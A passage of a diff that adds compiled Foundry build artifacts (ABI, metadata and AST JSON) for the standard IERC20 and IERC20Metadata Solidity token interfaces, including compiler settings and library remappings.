is then deducted from the caller's allowance."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IERC20.sol":"IERC20"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IERC20.sol","id":31970,"exportedSymbols":{"IERC20":[31969]},"nodeType":"SourceUnit","src":"32:2035:17","nodes":[{"id":31875,"nodeType":"PragmaDirective","src":"32:24:17","nodes":[],"literals":["solidity",">=","0.6",".2"]},{"id":31969,"nodeType":"ContractDefinition","src":"195:1871:17","nodes":[{"id":31885,"nodeType":"EventDefinition","src":"314:72:17","nodes":[],"anonymous":false,"documentation":{"id":31877,"nodeType":"StructuredDocumentation","src":"218:91:17","text":"@dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`)."},"eventSelector":"ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","name":"Transfer","nameLocation":"320:8:17","parameters":{"id":31884,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31879,"indexed":true,"mutability":"mutable","name":"from","nameLocation":"345:4:17","nodeType":"VariableDeclaration","scope":31885,"src":"329:20:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31878,"name":"address","nodeType":"ElementaryTypeName","src":"329:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31881,"indexed":true,"mutability":"mutable","name":"to","nameLocation":"367:2:17","nodeType":"VariableDeclaration","scope":31885,"src":"351:18:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31880,"name":"address","nodeType":"ElementaryTypeName","src":"351:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31883,"indexed":false,"mutability":"mutable","name":"value","nameLocation":"379:5:17","nodeType":"VariableDeclaration","scope":31885,"src":"371:13:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31882,"name":"uint256","nodeType":"ElementaryTypeName","src":"371:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"328:57:17"}},{"id":31894,"nodeType":"EventDefinition","src":"514:78:17","nodes":[],"anonymous":false,"documentation":{"id":31886,"nodeType":"StructuredDocumentation","src":"392:117:17","text":"@dev Emitted when the allowance of a `spender` for an `owner` is set, where `value`\n is the new allowance."},"eventSelector":"8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","name":"Approval","nameLocation":"520:8:17","parameters":{"id":31893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31888,"indexed":true,"mutability":"mutable","name":"owner","nameLocation":"545:5:17","nodeType":"VariableDeclaration","scope":31894,"src":"529:21:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31887,"name":"address","nodeType":"ElementaryTypeName","src":"529:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31890,"indexed":true,"mutability":"mutable","name":"spender","nameLocation":"568:7:17","nodeType":"VariableDeclaration","scope":31894,"src":"552:23:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31889,"name":"address","nodeType":"ElementaryTypeName","src":"552:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31892,"indexed":false,"mutability":"mutable","name":"value","nameLocation":"585:5:17","nodeType":"VariableDeclaration","scope":31894,"src":"577:13:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31891,"name":"uint256","nodeType":"ElementaryTypeName","src":"577:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"528:63:17"}},{"id":31900,"nodeType":"FunctionDefinition","src":"657:55:17","nodes":[],"documentation":{"id":31895,"nodeType":"StructuredDocumentation","src":"598:54:17","text":"@notice Returns the amount of tokens in existence."},"functionSelector":"18160ddd","implemented":false,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"666:11:17","parameters":{"id":31896,"nodeType":"ParameterList","parameters":[],"src":"677:2:17"},"returnParameters":{"id":31899,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31898,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31900,"src":"703:7:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31897,"name":"uint256","nodeType":"ElementaryTypeName","src":"703:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"702:9:17"},"scope":31969,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":31908,"nodeType":"FunctionDefinition","src":"783:68:17","nodes":[],"documentation":{"id":31901,"nodeType":"StructuredDocumentation","src":"718:60:17","text":"@notice Returns the amount of tokens owned by `account`."},"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"792:9:17","parameters":{"id":31904,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31903,"mutability":"mutable","name":"account","nameLocation":"810:7:17","nodeType":"VariableDeclaration","scope":31908,"src":"802:15:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31902,"name":"address","nodeType":"ElementaryTypeName","src":"802:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"801:17:17"},"returnParameters":{"id":31907,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31906,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31908,"src":"842:7:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31905,"name":"uint256","nodeType":"ElementaryTypeName","src":"842:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"841:9:17"},"scope":31969,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":31918,"nodeType":"FunctionDefinition","src":"930:70:17","nodes":[],"documentation":{"id":31909,"nodeType":"StructuredDocumentation","src":"857:68:17","text":"@notice Moves `amount` tokens from the caller's account to `to`."},"functionSelector":"a9059cbb","implemented":false,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"939:8:17","parameters":{"id":31914,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31911,"mutability":"mutable","name":"to","nameLocation":"956:2:17","nodeType":"VariableDeclaration","scope":31918,"src":"948:10:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31910,"name":"address","nodeType":"ElementaryTypeName","src":"948:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31913,"mutability":"mutable","name":"amount","nameLocation":"968:6:17","nodeType":"VariableDeclaration","scope":31918,"src":"960:14:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31912,"name":"uint256","nodeType":"ElementaryTypeName","src":"960:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"947:28:17"},"returnParameters":{"id":31917,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31916,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31918,"src":"994:4:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31915,"name":"bool","nodeType":"ElementaryTypeName","src":"994:4:17","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"993:6:17"},"scope":31969,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":31928,"nodeType":"FunctionDefinition","src":"1125:83:17","nodes":[],"documentation":{"id":31919,"nodeType":"StructuredDocumentation","src":"1006:114:17","text":"@notice Returns the remaining number of tokens that `spender` is allowed\n to spend on behalf of `owner`"},"functionSelector":"dd62ed3e","implemented":false,"kind":"function","modifiers":[],"name":"allowance","nameLocation":"1134:9:17","parameters":{"id":31924,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31921,"mutability":"mutable","name":"owner","nameLocation":"1152:5:17","nodeType":"VariableDeclaration","scope":31928,"src":"1144:13:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31920,"name":"address","nodeType":"ElementaryTypeName","src":"1144:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31923,"mutability":"mutable","name":"spender","nameLocation":"1167:7:17","nodeType":"VariableDeclaration","scope":31928,"src":"1159:15:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31922,"name":"address","nodeType":"ElementaryTypeName","src":"1159:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1143:32:17"},"returnParameters":{"id":31927,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31926,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31928,"src":"1199:7:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31925,"name":"uint256","nodeType":"ElementaryTypeName","src":"1199:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1198:9:17"},"scope":31969,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":31938,"nodeType":"FunctionDefinition","src":"1412:74:17","nodes":[],"documentation":{"id":31929,"nodeType":"StructuredDocumentation","src":"1214:193:17","text":"@notice Sets `amount` as the allowance of `spender` over the caller's tokens.\n @dev Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729"},"functionSelector":"095ea7b3","implemented":false,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1421:7:17","parameters":{"id":31934,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31931,"mutability":"mutable","name":"spender","nameLocation":"1437:7:17","nodeType":"VariableDeclaration","scope":31938,"src":"1429:15:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31930,"name":"address","nodeType":"ElementaryTypeName","src":"1429:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31933,"mutability":"mutable","name":"amount","nameLocation":"1454:6:17","nodeType":"VariableDeclaration","scope":31938,"src":"1446:14:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31932,"name":"uint256","nodeType":"ElementaryTypeName","src":"1446:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1428:33:17"},"returnParameters":{"id":31937,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31936,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31938,"src":"1480:4:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31935,"name":"bool","nodeType":"ElementaryTypeName","src":"1480:4:17","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1479:6:17"},"scope":31969,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":31950,"nodeType":"FunctionDefinition","src":"1644:88:17","nodes":[],"documentation":{"id":31939,"nodeType":"StructuredDocumentation","src":"1492:147:17","text":"@notice Moves `amount` tokens from `from` to `to` using the allowance mechanism.\n `amount` is then deducted from the caller's allowance."},"functionSelector":"23b872dd","implemented":false,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"1653:12:17","parameters":{"id":31946,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31941,"mutability":"mutable","name":"from","nameLocation":"1674:4:17","nodeType":"VariableDeclaration","scope":31950,"src":"1666:12:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31940,"name":"address","nodeType":"ElementaryTypeName","src":"1666:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31943,"mutability":"mutable","name":"to","nameLocation":"1688:2:17","nodeType":"VariableDeclaration","scope":31950,"src":"1680:10:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31942,"name":"address","nodeType":"ElementaryTypeName","src":"1680:7:17","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31945,"mutability":"mutable","name":"amount","nameLocation":"1700:6:17","nodeType":"VariableDeclaration","scope":31950,"src":"1692:14:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31944,"name":"uint256","nodeType":"ElementaryTypeName","src":"1692:7:17","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1665:42:17"},"returnParameters":{"id":31949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31948,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31950,"src":"1726:4:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31947,"name":"bool","nodeType":"ElementaryTypeName","src":"1726:4:17","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1725:6:17"},"scope":31969,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":31956,"nodeType":"FunctionDefinition","src":"1785:54:17","nodes":[],"documentation":{"id":31951,"nodeType":"StructuredDocumentation","src":"1738:42:17","text":"@notice Returns the name of the token."},"functionSelector":"06fdde03","implemented":false,"kind":"function","modifiers":[],"name":"name","nameLocation":"1794:4:17","parameters":{"id":31952,"nodeType":"ParameterList","parameters":[],"src":"1798:2:17"},"returnParameters":{"id":31955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31954,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31956,"src":"1824:13:17","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31953,"name":"string","nodeType":"ElementaryTypeName","src":"1824:6:17","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1823:15:17"},"scope":31969,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":31962,"nodeType":"FunctionDefinition","src":"1894:56:17","nodes":[],"documentation":{"id":31957,"nodeType":"StructuredDocumentation","src":"1845:44:17","text":"@notice Returns the symbol of the token."},"functionSelector":"95d89b41","implemented":false,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"1903:6:17","parameters":{"id":31958,"nodeType":"ParameterList","parameters":[],"src":"1909:2:17"},"returnParameters":{"id":31961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31960,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31962,"src":"1935:13:17","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31959,"name":"string","nodeType":"ElementaryTypeName","src":"1935:6:17","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1934:15:17"},"scope":31969,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":31968,"nodeType":"FunctionDefinition","src":"2014:50:17","nodes":[],"documentation":{"id":31963,"nodeType":"StructuredDocumentation","src":"1956:53:17","text":"@notice Returns the decimals places of the token."},"functionSelector":"313ce567","implemented":false,"kind":"function","modifiers":[],"name":"decimals","nameLocation":"2023:8:17","parameters":{"id":31964,"nodeType":"ParameterList","parameters":[],"src":"2031:2:17"},"returnParameters":{"id":31967,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31966,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31968,"src":"2057:5:17","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":31965,"name":"uint8","nodeType":"ElementaryTypeName","src":"2057:5:17","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"2056:7:17"},"scope":31969,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC20","contractDependencies":[],"contractKind":"interface","documentation":{"id":31876,"nodeType":"StructuredDocumentation","src":"58:137:17","text":"@dev Interface of the ERC20 standard as defined in the EIP.\n @dev This includes the optional name, symbol, and decimals metadata."},"fullyImplemented":false,"linearizedBaseContracts":[31969],"name":"IERC20","nameLocation":"205:6:17","scope":31970,"usedErrors":[],"usedEvents":[31885,31894]}],"license":"MIT"},"id":17} \ No newline at end of file diff --git a/contracts/out/IERC20Metadata.sol/IERC20Metadata.json b/contracts/out/IERC20Metadata.sol/IERC20Metadata.json new file mode 100644 index 000000000..17f6fd838 --- /dev/null +++ b/contracts/out/IERC20Metadata.sol/IERC20Metadata.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","name()":"06fdde03","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Interface for the optional metadata functions from the ERC20 standard. _Available since v4.1._\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called.\"},\"approve(address,uint256)\":{\"details\":\"Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 Emits an {Approval} event.\"},\"balanceOf(address)\":{\"details\":\"Returns the amount of tokens owned by `account`.\"},\"decimals()\":{\"details\":\"Returns the decimals places of the token.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token.\"},\"totalSupply()\":{\"details\":\"Returns the amount of tokens in existence.\"},\"transfer(address,uint256)\":{\"details\":\"Moves `amount` tokens from the caller's account to `to`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":\"IERC20Metadata\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","t